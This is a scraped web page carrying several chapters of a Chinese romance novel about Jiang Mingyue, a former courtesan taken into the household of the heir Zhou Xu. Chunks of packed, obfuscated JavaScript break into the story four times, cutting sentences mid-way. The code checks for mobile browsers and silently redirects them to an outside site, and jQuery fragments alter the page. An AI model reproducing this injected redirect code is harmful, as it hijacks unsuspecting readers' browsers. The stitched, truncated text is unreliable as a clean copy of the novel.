l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746187|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可周诩已经移开了视线。青鸳只得收敛了自己的情绪。 “姑娘跟我来吧。”她垂下眼,来到姜明月面前。 姜明月下意识看向周诩。 周诩朝她颌首,“去吧。” 姜明月刚转身要走,忽然又被拉住。 周诩接过随安手上的披风,微微弯腰,俯下身,凑近姜明月。 姜明月睁大眼睛,看着周诩琥珀色的眼中,自己的倒影越来越大。 紧接着,她感觉肩上一重,身上也一瞬间热了起来。 “从现在开始,你只是姜明月。” 姜明月愣愣地看着他。 这个距离,她能看见周诩敛着眼,直直的睫毛铺开,打下一片阴影。她的呼吸与他的缠绕在一起,姜明月能闻到他身上淡淡的熏香。周诩修长的手指时不时碰到她胸口露出的肌肤,引得她一阵颤栗。 周诩将披风的缎带系好。掀起眼,和她怔愣的杏眼对上,周诩笑了笑。 他直起身,示意青鸳带她下去。 随安在一旁,看着姜明月脸颊微红,低着头,却觉得世子真是狡猾。 明明是为侯府声誉着想,却能让小姑娘感动成这样。 从青鸳的位置,她听不见世子说了什么,只觉得世子在女孩耳边呢喃,不由得双手攥紧,很快又松开,只留下手心深深的指甲印。 于是一路上,她也没有心情再和姜明月交谈。把她带到后院早已收拾好的房中后,青鸳叫来一个小丫鬟。 “姑娘,这是红袖,日后便让她服侍您。” 红袖看着年龄不大,和姜明月相仿。见到姜明月后,她一双眼睛亮了亮,却有些顾忌青鸳。等她走后,红袖忍不住扭捏着上前。 “姑娘,你真好看!” 姜明月被她望着,也红了脸,心中也一点点放松了下来。 红袖为她叫了热水,服侍她沐浴。 雾气朦胧氤氲,姜明月将身子浸在水中。窗外一片静谧,偶有微风吹过,树枝晃动,在窗户上投下阴影。 沐浴后,姜明月的肌肤更是白里透红,惹得红袖忍不住偷偷摸了两把。 “红袖!” 青鸳从外面走进来,端着一套衣裙。她看见红袖的动作,不赞同地皱了皱眉。 红袖吓了一跳,立刻站直身子。 “姑娘,换这身衣裳吧。” 姜明月看了看,都是上好的布料,入手丝滑,似乎和周公子那天穿的类似。 只是她还有疑问:“我那些衣服……” 青鸳了然,“姑娘带来的衣服我都帮姑娘收好了。只是……” 她笑了笑,似乎有些为难,“姑娘的衣服,在这穿,似乎有些不合适了。” 不合适,自然是因为那些都是花楼的衣服。虽然料子都不算太差,但是许多都只有薄薄一件,若隐若现。 姜明月抿着唇,也对青鸳笑了笑,“那便多谢青鸳姑娘了。” 等青鸳退出去后,红袖替她更衣。等她系好罗裙的带子,要拿那件织花背子时,姜明月阻止了她。 她想了想,对红袖道:“去帮我取那件鹅黄色背子来吧。” 6. 拒绝 红袖闻言,将她带的鹅黄色的背子取了过来。这背子由暗花纱制成,穿上去也不过是薄薄一层,虽然不至于透出肌肤,但内里的小衫仍旧隐隐约约的。姜明月低头看着,也不免脸上一热。 她轻咳一声,想了想,又将方才的披风披上,才出门去找周诩。 来时没有仔细看,这院子不过两进大小,完全按照江南一带的风格修建,一步一景。假山石作为天然的屏障,将前后院隔了开来。 红袖也只是个小丫鬟,并不熟悉世子平日的行踪。等来到前院,红袖便没了主意,不知该去何处寻周诩。 这时,随安带着一人迎面朝她们走来。 走得近了,姜明月认出这就是那日在抚春楼见过的那位王爷,而看对方的表情,显然也认出了她。姜明月躲避不得,便只能朝他行礼。 “你是那天的……你叫什么来着?” 成王面露惊讶,他没想到会在周诩府中见到这抚春楼的姑娘。看她的打扮,应是已经被赎了身。她未施脂粉,周诩宽大的披风将她整个人罩住,堪堪拖地,眉眼间少了那日的忧愁和惶惶。 若不是知道的人,说不定会把她当作是哪家的小姐。 “民女……姜明月。” “原来这才是你的名字啊。” 既已赎身,成王也不会再提起过去之事。他点了点头,心中却起了疑惑。周诩赎了她,是要做妾?可是想来武昌侯府也不会允许世子身边有这种出身的女子。那是做外室? 可无论做什么,这姑娘于周诩定是意义非凡。 他打定主意下次要和周诩打探一番。这时他面上只笑着,“姜姑娘这是要去哪?” “我,我想去找公子……”姜明月被问得红了脸,喃喃道。 可显然,她和那小丫鬟都迷了路,才会孤伶伶呆呆地站在此处。 一直未开口的随安闻言有些纠结。他不知道该不该让姜明月去找周诩。要说周诩不喜欢这位表姑娘,可看他的态度却又不像,隐隐还带着纵容。要说喜欢,随安也从未听世子说过什么。 他想不出,便没开口。 成王不知这些。既然周诩替她赎了身,那他便自然当周诩对她有意。见姜明月不好意思,他善意地笑笑,替她指了路。 “阿诩在书房。” 只是她能不能被允许进入,就不是成王殿下该管的事了。 谢过成王后,姜明月带着红袖,在随安复杂的目光中朝书房走去。 书房的门半掩着。到了门口,姜明月又有些犹豫了,不知道该不该进去。 万一周公子在忙,她进去便只是打扰。 “谁在外面?” 周诩清润的声音传来,姜明月一惊,没想到会被他发现。 “姑娘……”红袖低声询问。姜明月刚要推门,手上动作又停下。 “吱呀——” 门被推开,姜明月小心翼翼地迈步跨进书房。 周诩的书房如她想象一般,唯一不同的,便是窗边小案上摆放的水晶鱼缸。 与琉璃不同,白水晶制成的鱼缸还保留着天然的石纹和其他颜色的水晶,星星点点点缀在光滑的石壁上,在阳光下折射出绚烂的光影。 令她意外的是,周诩并没有在看书或者处理公务。他站在鱼缸旁,望着水中几尾游来游去的小鱼,时不时用指尖敲敲鱼缸,吓得小鱼转起了圈。 听见声音,他侧头看来,两鬓散下的乌发随着动作贴在脸颊上。 姜明月从外面走近。窗外的树枝生出新芽,嫩绿一片。她穿着鹅黄色的背子,犹如一抹新色。轻薄的布料随着她行走间的微风贴在身上,勾勒出优美的曲线和其中小衫的形状。 周诩收回目光,敛下眼。 姜明月一直在偷偷观察他的神色。见他如此,面色未变,看不透他心中所想,姜明月便有些失望。 好在她此行目的并非仅仅如此。姜明月重整精神,上前行礼。 “公子是怎么知道我在外面的?” 周诩扬了扬下巴,示意她去看门缝漏进来的一线阳光。阳光随着树影晃动一同微微摇晃。 “你怎么知道我在这?” 周诩随意坐于书案后,单手撑着头,好奇地问。 姜明月抬眼看了看,发现他身边并无自己的位置,只好放弃。 “是那日的那位王爷为我指的路。” 周诩目光扫过她身后的小丫鬟怀里抱着的披风,脸色稍霁。 “你休息好了?” “明月不累。”姜明月见他关心自己,不由得笑起来,杏眼弯弯,刚沐浴过后的脸上还带着红润,“多谢公子。” 说到这,她倒是想起来一个问题。 “公子是世子吗?”姜明月试探地问道,“不知我今后……该如何称呼公子?” 只怕她今后要唤自己一声表哥。 周诩嗤笑一声,却下意识不喜这称呼。待姜明月不解地看着他时,周诩摇摇头。 “随你吧。” “那我还是叫公子好了。” 姜明月眼睛一亮,觉得这样称呼,倒像是一种特殊。这院中所有人都称他为世子,只有自己唤他作公子。 周诩勾起嘴角,望着她,不懂她情绪为何一下子高涨,只觉得一点点事都能让她满足。 “你跑这一趟,还有何事?” 姜明月的脸蓦地染上红晕。她张了张嘴,似乎有些开不了口。 她不出声,周诩便也不说话,静静地看着她。 窗外微风拂过,枝叶摇摆发出沙沙声。金鱼追着晃动的影子在缸中游动,映在地上的彩光忽明忽暗。 许久,姜明月几不可闻的声音响起。 “公子,晚上会来我房中吗?” 她说完,感觉自己脸已经红透了,只得垂着眼,不敢看他。 “……” 姜明月攥着裙子,感觉手心渐渐湿润。她咬着下唇,紧张地等周诩的回答。 她是第一次说这种直白而大胆的话。从前在抚春楼虽也学过许多,可到了周诩面前,或许是因为他过于清风霁月,她怎么也无法轻易说出那些话。 耳边仿佛传来一声轻叹,她忍不住抬起头,却对上了周诩桃花眼一片晦暗不明。 就在她满以为周诩会答应时,却见他忽然笑了起来。 他抬手,探身摸了摸她的头。 “这几天好好休息吧。” 不等她说话,周诩收回手,身子向后倾,随手拿起一旁的书。 周诩再抬眼,就见眼前的姑娘垂头丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746188|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,连眼中的光好似也淡了下去。 刚才紧绷的心一下子落空,姜明月只觉得一下子泄了气,失落无比,又提不起勇气再问。 她见周诩做了决定就没有继续与她交谈的意思,拿着书,仿佛在等她离开。姜明月不敢打扰他,只好朝他行了礼,带着红袖转身,轻手轻脚出了书房。 等主仆二人走了,周诩手上的动作一顿,望着姜明月的背影若有所思。 真像府中那只落水的小狗。 等出了书房,红袖见姜明月沉默不语,偷偷拿眼睛去看她,有心担心。 “姑娘……” 她也不知道为什么世子不愿去姑娘这儿,明明都把人带回来了。她不是周诩从京中带来的人,只是常年在吴州别院的小丫鬟。可尽管如此,对世子的传闻她也听说过一二。 “姑娘你别担心,世子能把你带回来,那肯定是心中有你的。” 姜明月点点头,没说话。 周诩一天不碰她,她在他身边便始终是名不正言不顺。万一他只是一时兴起,才带她回来,现在又后悔了怎么办? 她想起从前在抚春楼听过的那些事,被退回来的姑娘,都没有几个好的。 姜明月心思沉沉,盘算着自己下一步该如何。 到了晚间,随安却突然来到了她房中。 桌上摆着几张花样子,姜明月正拿着绣棚,静静地绣着。 红袖为了哄她开心些,不知从哪里找来这几张花样让她打发时间。姜明月从前在家时,母亲作为京城的官家小姐,便常常督促她的女红。进了抚春楼后,她便没了机会再绣。 如今她看着这几张据说是京城时兴的图案,一下子来了兴趣。 “姑娘,休息会吧。这天色暗了,最是伤眼。” 红袖在旁边劝到。府中掌灯的时间都有规定,世子处不管,可其他人房中都不敢随意点灯。姜明月刚来,下人摸不清周诩的态度,也不敢给她例外。 随安一进来,便见到这副情景。 他想,世子这时候让他来,可算是来对了。表姑娘自己在这房中,看起来也怪可怜的。 他清了清嗓子,“姑娘,世子让你去他那里。” 姜明月抬起头,有些惊讶。 “公子有说让我去做什么吗?” “世子说,让姑娘换身衣服,他要带姑娘出门。” 姜明月的眼睛一下子亮了起来,方才萦绕在心中的失落仿佛都消失不见。 “姑娘换身方便行动的衣服就行。” 随安想,世子肯定是怕表姑娘出门再打扮得过于惹眼,给侯府丢人吧。 他暗戳戳地猜测,却不知周诩根本不是这么想的。 周诩不想让姜明月穿的太惹眼,确实是因为他们要出门,而夜晚的吴州也格外热闹,难免不便。只是隐约的,或许是他心中说不出的,他也没有意识到的其他考量了。 等周诩见到换好衣服的姜明月时,他有些意外,却很快露出了笑容。 姜明月扯了扯身上的圆领袍,见到周诩的笑容,这才松了口气。 这圆领袍是红袖准备的,说京城的姑娘们都这么穿,可姜明月在江南极少见过女子穿男子的衣服,不免有些拘谨。 “公子要带我去哪?” 7. 春华 “带你去外面用晚膳。” 他笑容温和,说得也不过是在平常不过的一件事,却令姜明月睁大眼睛。 “真的吗!多谢公子!” 她发上的发梳忍不住晃动起来,上面垂下的坠子一跳一跳,眼中碎光点点。 周诩见状,心中松了口气。 罢了,她能开心就好。 “走吧。” 等出了院门,姜明月左右看了看,好奇地拉住周诩,问道:“公子,我们不坐马车吗?” “你想坐马车吗?我还以为你会想逛一逛吴州的夜市。” 姜明月没想到,周诩会体贴至此。 他若是想逛,随时可以将这吴州城逛遍,想要用膳,也不必如此大费周折。 这么做,完全是为她考虑。 姜明月忍不住笑起来,紧紧抱住周诩的小臂,“不想,我不要坐马车,我想和公子一起逛。” 周诩随意点点头算是应下,不过他还是加了一句。 “若是你走不动了——” “不会的,公子放心。” 吴州城有夜市,夜晚的街道丝毫不输白日。灯笼早早被挂起,火红的灯火照亮了夜幕,与天边最后的晚霞相接。街上各种摊子都摆了出来,架上一口锅,热食的香味便能传遍街头巷尾。 姜明月紧紧跟在周诩身后,只觉得有些目不暇接。 她小时候便没什么出门的机会,大多时候,是过节时由父亲领着,等天色暗了便回家,在院子里看空中的烟火。等大了,便是整日在抚春楼中,无法出门。 有几次她和春华想要偷偷溜出去,却都以失败告终。 想到春华,姜明月的眸子一暗。 如果不是因为春华……她如今也不知会如何。 她忍不住朝前面的男人看去。 周诩似乎为了等她,刻意放慢了步子。 来往的人群中,他腰背笔挺,如青松一般,身形修长,周身贵气。姜明月看着,发现人群中,不乏有偷偷去看他的姑娘和小娘子。 姜明月不做他想,如周诩这样的人,这是理所当然的事。 忽然一阵人流穿梭,姜明月被吓得脚步一停,紧接着扑上前,紧紧抓住周诩的衣袖。 打量的目光若有若无落在二人身上。周诩知道,是因为吴州地界还没有女子穿圆领袍的习惯,下意识将姜明月当成了谁家的小郎君。 他低头看了看姜明月抓着自己的手,没说话,抬手将她虚揽住,微笑着,双眼眯起。 打量的人似乎被他的举动惊到,纷纷别开目光。 姜明月突然被揽住,温热的气息环绕住她,惹得她身子一颤。 她双颊下意识泛红,不解地仰头看向周诩。 周诩笑容不变,目光在周围略过,低头问她:“你有什么想吃的或者想买的?” 一路走来,她只看,但是从未停下来。 周诩想起侯府他那几个庶妹。因府中没有嫡女,她们的待遇和嫡女也差不多了。每次出门都要从账上支走一大笔银钱,回来时满载而归,什么首饰衣服买了不少。据他所知,他还有个爱打赏戏子的庶妹。 周诩对她们身为武昌侯之女,花父亲武昌侯的钱没什么意见,只是相比之下,他有些奇怪姜明月为什么什么都没买。 姜明月摇摇头,有些难以启齿般:“许多我都未曾吃过……想吃的太多了,我选不过来。” 周诩忍不住笑了一声。可是笑过,想到她的经历,他心中却有些复杂。 他别开脸,清了清嗓子,重新正色,“既如此,不如我们先去用膳如何?” 姜明月自然赞成,也好奇周诩要带她去哪里用膳。 他们绕开主街,眼前的光线一暗,弯曲的小巷中只有阑珊的灯火。不知走了多久,嘈杂热闹的声音似乎离他们越来越远,忽然眼前豁然开朗,巷子尽头露出波光粼粼的水道。 岸边杨柳依依,枝条在晚风中起舞。水边停靠着两三只游船,船头挂着灯笼,示意前来的客人主家正在船上。 随安上前,朝船内喊了一声,片刻便有船夫掀起帘子走了出来。 “劳驾,我们主子要用膳。” 船夫闻言连忙点头,转身将船内的灯全部点起。 周诩收回手,向前走去。晚风吹过,姜明月不适应地身子一缩。 “公子,我们要在船上用膳吗?” 姜明月呆呆地看着眼前这一幕,有些不敢相信,小跑着追上周诩。 周诩已经躬身上了船。闻言,他回头瞥了一眼,似乎在笑她会问这么显而易见的问题。 “上来吧。” 他伸出手。姜明月低头看着水浪拍打飘动的船身,忍不住紧紧握住周诩的手,闭了闭眼。 “抬头。” 姜明月下意识抬起头。还不等她反应过来,周诩一只手用力,另一只手揽住她身子将她抱上了船。 姜明月只能顺势靠在周诩怀中,但她先是愣住,接着却忍不住弯唇笑了起来。 感觉到女孩在自己怀中蹭了蹭,周诩一顿。 “老实点。” 他手抵着她的脑袋,将她推开。姜明月撇了撇嘴,只能听话进了船篷之中。 红袖站在岸上,探身往船上看了看,之后就在随安想动之时拉住了他。 “你做什么?”随安皱眉,扭头看向她。 “随安哥哥,船上空间狭窄,不如我们就在这里等世子和姑娘吧。” “这种事哪里能由你做主?”说着,随安向船上看去。船内确实没有能站立的地方,若他上船,只能和船夫一起在船篷外等候。 “罢了,你在这等着吧。” 船篷之中摆着一张木案,姜明月与周诩落座后,没一会,船夫就从外面走了进来,拎着两个大食盒。等摆上晚膳后,船夫和随安一起站在船篷外,小船晃晃悠悠地动了起来。 碟子中吃食虽然不似酒楼中那般精美,却都是吴州特色和时令的食材。 周诩用膳时从来没有说话的习惯。他垂着眼,静静地夹着眼前的吃食。 往日姜明月被训练在客人用膳时,需要时时刻刻注意对方的一举一动,自己不过随便应付几口就是。 可今天,她坐在周诩对面,却像是回到了当年在家的时候,不需要顾忌那么多,不需要强颜欢笑,也不需要连声附和。她浑身只觉得轻松无比。 她轻轻吐出一口气,心中生出庆幸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746189|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇见的人是他,真是太好了。 “公子要不要试试这道鱼?” 姜明月将被煎得两面金黄的小鱼端到周诩面前。 周诩看了她一眼,明明她刚才看到这道鱼眼睛一亮,现在却端给他。 “我觉得这个小鱼味道不错,且是这个时节才有的,便想让公子也试试。” 周诩执箸夹了一口。姜明月期待地看着他,就见他点了点头,“尚可。” 随安在船篷外听到声音,忍不住用余光朝船内看了一眼。 世子是不爱吃鱼的。 看世子待表姑娘的种种行为,难道他想错了? 世子其实并不讨厌这表姑娘? 他沉思着,船夫撑着船,小船晃晃悠悠,两岸是阑珊的灯火和零星的行人。直到二人吃完,小船又回到了刚才出发的地方。 周诩放下茶杯,率先出了船篷上了岸。 他回身再次对姜明月伸出手。 姜明月也不再如第一次那样害怕。她拉住周诩的手,被他带上了岸。 随安正在岸上与船夫结账。红袖好奇地在站在他身旁看着。 周诩和姜明月所处的地方被树影挡着,正隐在暗处。 “公子。” 姜明月轻轻唤了周诩一声,在周诩闻声转头之时,她拉住他的衣服,踮起脚。却因为身高不够,她的唇轻轻碰在周诩的下颌。 “谢谢公子。” 她有些羞赧,紧紧抿着唇,小心翼翼地抬眼看他,杏眼却忍不住微微弯起。 周诩难得地露出了怔愣的表情。 片刻后,他遮住眼睛,笑了起来。 姜明月不明所以地望着他。周诩放下手,眼中还带着笑意,“不客气。” “小春,去把食盒收回来吧。” 船夫对着岸边的铺子喊道。铺子中有人应了一声,之后走出一位用布扎着头发,围着围裙的年轻女子,朝着他们的方向走来。 姜明月下意识转头,从周诩的肩头向前看去。 她的脸露在了灯火下,那女子也抬头看了过来。 “啪——” 她手中的盆子落在地上,水洒了一地。 感受到姜明月在微微发抖,周诩奇怪地转身,顺着她的视线看去。 “春华……” 姜明月张了张嘴,喃喃道。 春华也难以置信地看着眼前的人。 许久不见,月凝还是如过去那般,灯火下明媚动人。只是她的眼中却多了生气,是她没见过的生气。 她穿着绸缎的圆领袍,蓝色的丝线在光线下随着她的动作泛着暗光。 她似乎没变,又似乎和之前不同了。 春华的目光忍不住又落在她身边的年轻公子身上。 一眼望去,她就知道这公子出身不凡。而此刻,他却站在月凝的身后。 见他看向自己,春华来不及多想,立刻垂下眼。 “你认识她吗?” 她听见那公子问道。 “春华……” 姜明月小声念着,忽然冲上来抱住她。 “太好了,太好了……” 春华掩去眼中复杂的情绪,也笑着,回抱住了她。 8. 心思 片刻后,春华拍了拍姜明月的肩膀,姜明月这才放开她。 “公子,这是春华,是我……过去的好友。” 姜明月抽了抽鼻子,与身后走来的周诩说到。 周诩了然。他点了点头,没再多言。 “春华,到底发生了什么事?” 她怎么会在这里? 妈妈说她掉进了河里,已经…… 春华勾起一抹苦笑,只摇摇头。 “小春,你和这位客人认识啊?”船夫捡起地上的盆子,看向春华。 “义父,抱歉。给我吧,我先去收拾桌子。”春华没回答他,只接过盆子,冲他笑笑。 船夫点点头,不好意思地对姜明月和周诩打了个招呼,先去了船上。 “月凝,这事说来话长。”她叹了口气,眼光在姜明月和周诩二人之间流转,之后笑着对姜明月眨了眨眼。 “看样子,你这是已经赎了身了?” 姜明月点点头,犹豫了一下,还是说:“我现在已经不叫月凝了……我叫姜明月,这是我的本名。” 春华一愣,接着又点头表示理解,“那我之后就叫你明月。也不要叫我春华了,叫我小春就好。” 她舒展身子,露出笑容,“我也不想叫在那里时的名字。” “小春啊……” “哎,我来了!”春华应了一声,歉意地朝姜明月笑笑,“我先走了。咱们改天再聊。” 姜明月还要说什么,春华一边走一边朝她摆摆手。 “你随时再来这里找我就行!” 望着她的背影,姜明月抿着唇,沉默不语。 周诩见她如此,开口道:“怎么了?见到她,你不开心?” 姜明月摇摇头。 “我自然是开心的。可是公子,我觉得春,小春她,似乎有哪里和之前不同了……” 她也说不上来是哪里,她还有许多问题想问小春,只是这种感觉渐渐压过了见到她的喜悦。 “她经历的事和你不同,自然会有变化。至少,她的人不是还好好的?” 姜明月被他说得一愣,之后恍然大悟。 是啊,不管怎么样,能够再见到小春还还好的就足够了。 “多谢公子提点。” 她拉住周诩的衣袖,重新露出笑容。 “那我,还可以再来找小春吗?” 她知道周诩必然不愿自己再与抚春楼有联系,故而只能小心翼翼地试着问他。 周诩却看着她,茶珀般的眸子在光影中忽暗忽明,久久不语。在姜明月就要放弃的时候,他勾起嘴角笑道:“你既问我,那不如,看我心情如何?” 这就是变相同意了。 姜明月也意识到了。 “谢谢公子。我今天真的非常非常欢喜。” 她望着自己手中抓住的那处布料,声音极轻,仿佛稍微再大声一点,这眼下的欢喜就会消失得无影无踪。 宽松的袍服挂在她身上,被风吹得作响,露出的脖颈白皙脆弱,延伸进袍服之中,仿佛轻轻压下就会折断,无力反抗。 “……回去吧。” 话音乘着春日微凉的风,消散在夜色中。 他原是起了玩笑的心思,却也带着些试探。 周诩掩下心中升起的那点说不清道不明的欲念,笑容如常。 姜明月虽然满口答应了自己不用搭乘马车,可她却高估了自己。 如她这般,为了追求纤弱婀娜,终日被关在高楼之内的姑娘,又怎么能突然走这么多路呢? 等他们回到别院时,姜明月已经是几乎挂在红袖身上了。 周诩挑眉,好笑地看着她,却也没出手相助。 “公子……” 姜明月弱弱地倒在红袖怀中。 她小口小口喘着气,胸前的布料随之颤动,脸上泛红,眼中水光潋滟。 红袖盯着怀里的姑娘,莫名红了脸。 “姑娘……”她喃喃。 周诩目光不露声色地乜了她一眼。 “这几日好好休息吧。” 将姜明月拉起来站直,周诩笑得别有深意。 姜明月杏眼睁大,望着他,不禁怀疑,他带自己出门是不是就存着这个主意。 可惜周诩不给她再探询的机会。待他回了房,姜明月也被红袖扶着,回了后院的厢房。 夜深人静,红袖替她放下床幔,掖了掖被角。 “姑娘,真的不需要用点药或者用热水泡一泡吗?” 这个时间,不论做什么,都会惊扰旁人。姜明月也不愿红袖为这点事再奔波。 “无事,想来休息一晚也就好了。你也早些去休息吧。” 往日被妈妈责罚后也不过是疼上几天,姜明月笑着安慰她,摇摇头。 红袖见状也不再多言,熄了灯,只留下窗口一盏小灯。这是姜明月一直以来的习惯。蜡烛将尽,等她睡着后自然就会熄灭。 床上铺的是柔软的被衾,房中燃着淡淡的熏香,细闻下竟与周诩身上的有几分相似。 而姜明月躺在床上,被这香味包裹,却有些辗转反侧。 公子对她……到底是什么意思呢? 怎么想也想不出个所以然,姜明月迷迷糊糊间沉沉睡去。 等到第二天清早,红袖将残烛换去,来唤姜明月起身。 “姑娘,起身了……” 她还摸不清姜明月起床的时间,只敢轻声在帐外叫她。 然而姜明月素来浅眠,在抚春楼又不允许她赖床,听到外面的动静时她就睁开了眼。 “红袖。” 她有气无力地唤了一声。 红袖连忙将床幔挂了起来,“姑娘,你感觉怎么样?” 姜明月稍微一动,她的腿上就传来一阵一阵的酸痛。她有些后悔,觉得是自己逞强了。 “红袖,去取些药来吧,不要惊动旁人。” 若是公子知道自己因为一点小事就要擦药,不知会怎么看她,下次也一定不会再带她出门了。 红袖一听,就知道姑娘的腿还酸着。她连忙去寻了药来。 因走得匆忙,红袖差点和替插花换水的小丫鬟撞上。 “红袖,慌慌张张的做什么?” 青鸳从后面走了过来,见状皱了皱眉。 “青鸳姐姐。”红袖也忍不住红了脸,“我……我是替姑娘取药去了。” 她犹豫了一会,还是不敢对青鸳隐瞒。青鸳是世子身边的大丫鬟,平日里积威已久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746190|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“姑娘怎么了?”青鸳神色严肃起来。 “姑娘不让说的……” “姑娘若是有个三长两短你能负责?” 红袖一抖,没办法,只好讲事情说了一遍。 青鸳听到姜明月是因为这事取的药,松了口气。 “青鸳姐姐,你别告诉别人——” “我会乱说这种事?行了,你快去吧。” 红袖见青鸳一脸正色,也觉得她是可靠之人,便点了点头,回房去找姜明月。 姜明月正在内室,放下帐子,揉捏着自己的小腿。 “姑娘,药来了。姑娘把腿露出来吧,我给姑娘上药。” 上着药,红袖突然想起什么,兴冲冲与姜明月说道:“我知道世子今日在何处。姑娘,我在路上听人说,世子要去池边的小亭中看书呢。” 她既然做了姑娘的丫鬟,自然想为她分忧。 但是她说完,脸色又一白。 “对不起姑娘,我忘了你腿还难受着……” 姜明月全不在意。她摇摇头,笑眯眯谢过她替自己留意。 “上了药就好多了,不碍事的。”她动了动双腿,示意红袖放心。 “刚好,我去还公子的披风,与他道谢。” 本来早就该还了,只是她昨日心绪不宁,倒是把这事忘记了。 小亭建在两个池子中间,两个池子利用了假山石高低的落差,形成了小小的流水。水声潺潺,池中飘着几朵睡莲,颜色不同的鲤鱼聚集在流水溅起的涟漪旁边。 周诩一身青衣,手执书籍,阳光落下来,侧脸温润如玉。 他却没看书,正支着头,百无聊赖地看着身前,似乎还有谁在和他说话。 姜明月便有些犹豫,不知该不该上前。 等绕过小径,她终于能看清亭中与他说话的人是谁了。 “青鸳姐姐……” 红袖也认出来了,她松了口气。 姜明月便想带着红袖先在下面等,然而青鸳的声音却禁不住地飘了过来。 “……姑娘想来是身子不适,受了伤的。姑娘不便说,世子今后,还是少带姑娘出门吧。……” 姜明月站在原地,垂着眼,在阳光下,有些发冷。 红袖眼睛蓦地睁大,她顾不得其他,上前拉住姜明月,“姑娘,不是我,我没有这么说过……我是与青鸳姐姐讲过,她问我,我……” 她语无伦次,急得额角冒汗。 她也没想到,青鸳竟然会直接跑来与世子说,还说这些姑娘根本就没想过的事。 姜明月摇摇头,“我相信你,也不怪你。” 青鸳是公子身边的大丫鬟,有什么事,她自然需要与公子禀报。 “姑娘?” 青鸳从亭中走出来,见到姜明月,她先是一愣,紧接着,她便笑着朝姜明月行了礼。 “姑娘来找世子?” 感受到红袖的注视,她侧头,见红袖目光中似有被背叛的委屈,便知道她听到了自己方才的话。 她有些无奈,看红袖的眼神也像是在包容不懂事的小姑娘。 “我也是为姑娘好。姑娘不愿被世子知道,可是府里有府里的规矩,我也不敢隐瞒。姑娘既然不舒服,还是多休息为好。” 9. 难猜 她上前想要扶姜明月,姜明月微微侧身,避开了她的手。 青鸳抬眼看她,姜明月抿着唇,对她笑笑。 “嗯,我知道青鸳姑娘是为我好。” “我也是——” “我先去找公子了。” 姜明月侧身绕开她,走上石阶。 青鸳站着没动,好一会才若无其事地走开。 等姜明月走进小亭中,周诩听到声音,视线从书上移开,看向她。 姜明月朝他行礼,裙摆悠悠铺开,“打扰公子看书了。” 周诩无所谓地摇摇头。 “本也不是为了看书。” 姜明月眸光莹莹,不解地看向他。周诩指了指亭边放着的水晶鱼缸,“带它们出来透透气。” 姜明月睁大眼睛,不敢相信他居然是专门为了这事才来这里的。她气鼓鼓地望着那几尾小鱼,心中涌上羡慕。 但她转念,又想到周诩昨天也专程带她出门了,顿时又有些得意。 周诩指尖点了点桌面,饶有兴味地看着她脸上地表情变化不断。 “公子,我是来还你披风的。”有些不好意思地转回头,姜明月将披风递上前。一旁的随从立刻走上前接过披风。 “让下人送就是了,这点小事何苦跑一趟。我听青鸳说,昨日你应是累到了。” 他语气淡淡,姜明月听不出他的喜怒,心一下子提了起来。 “我没事的,我不累。青鸳她……应该只是太担心我了。”仿佛是为了印证自己的说法,她转了个圈,想展示自己全须全尾。 姜明月望着周诩笑,只是眼中却全是忐忑。 “我……是因为想见公子。” 她上前,犹豫着伸手,小心地拉住周诩的袖口。 “公子可不可以不要不带我出门?” 周诩本她这句如绕口令一般的话逗笑了。他不厚道地笑了一声,之后在姜明月略带控诉的眼神中,温和道:“腿还痛吗?” 不知为何,姜明月听他这么说,心中一酸。可她来不及想其他,眼神一闪,姜明月大胆地拉住了他的手。 “公子,我的腿其实还痛的……” 她一双杏眼湿漉漉的,面如桃花,柔软的手拉着周诩,娇声道:“公子帮我揉揉吧。” 她鲜少露出这种媚态,这样的话更是说得少。她不过是仗着周诩一副清冽温柔的君子模样,便想与他撒娇,却指导周诩不会真的做什么,毕竟他一直都是如此表现的。 然而下一秒,周诩却动了。 他反手握住姜明月的手,姜明月连连后退,最后被他抵在身后的美人靠上。 他俯下身,朝她压了下来。 “需要我帮你吗?” 他声音轻柔,笑容缱绻,微凉的眼眸注视着她,抬头轻轻抚上她的下颌。 姜明月觉得自己动弹不得,只得被迫仰起脸,与他对视。 他的眼中什么都看不到,姜明月只能看到自己的倒影。 姜明月突然头皮发麻。 她忽然想起了第一次见到周诩,他也是如此。 “可以吗?” 姜明月听见自己因为紧张,声音中的颤抖。 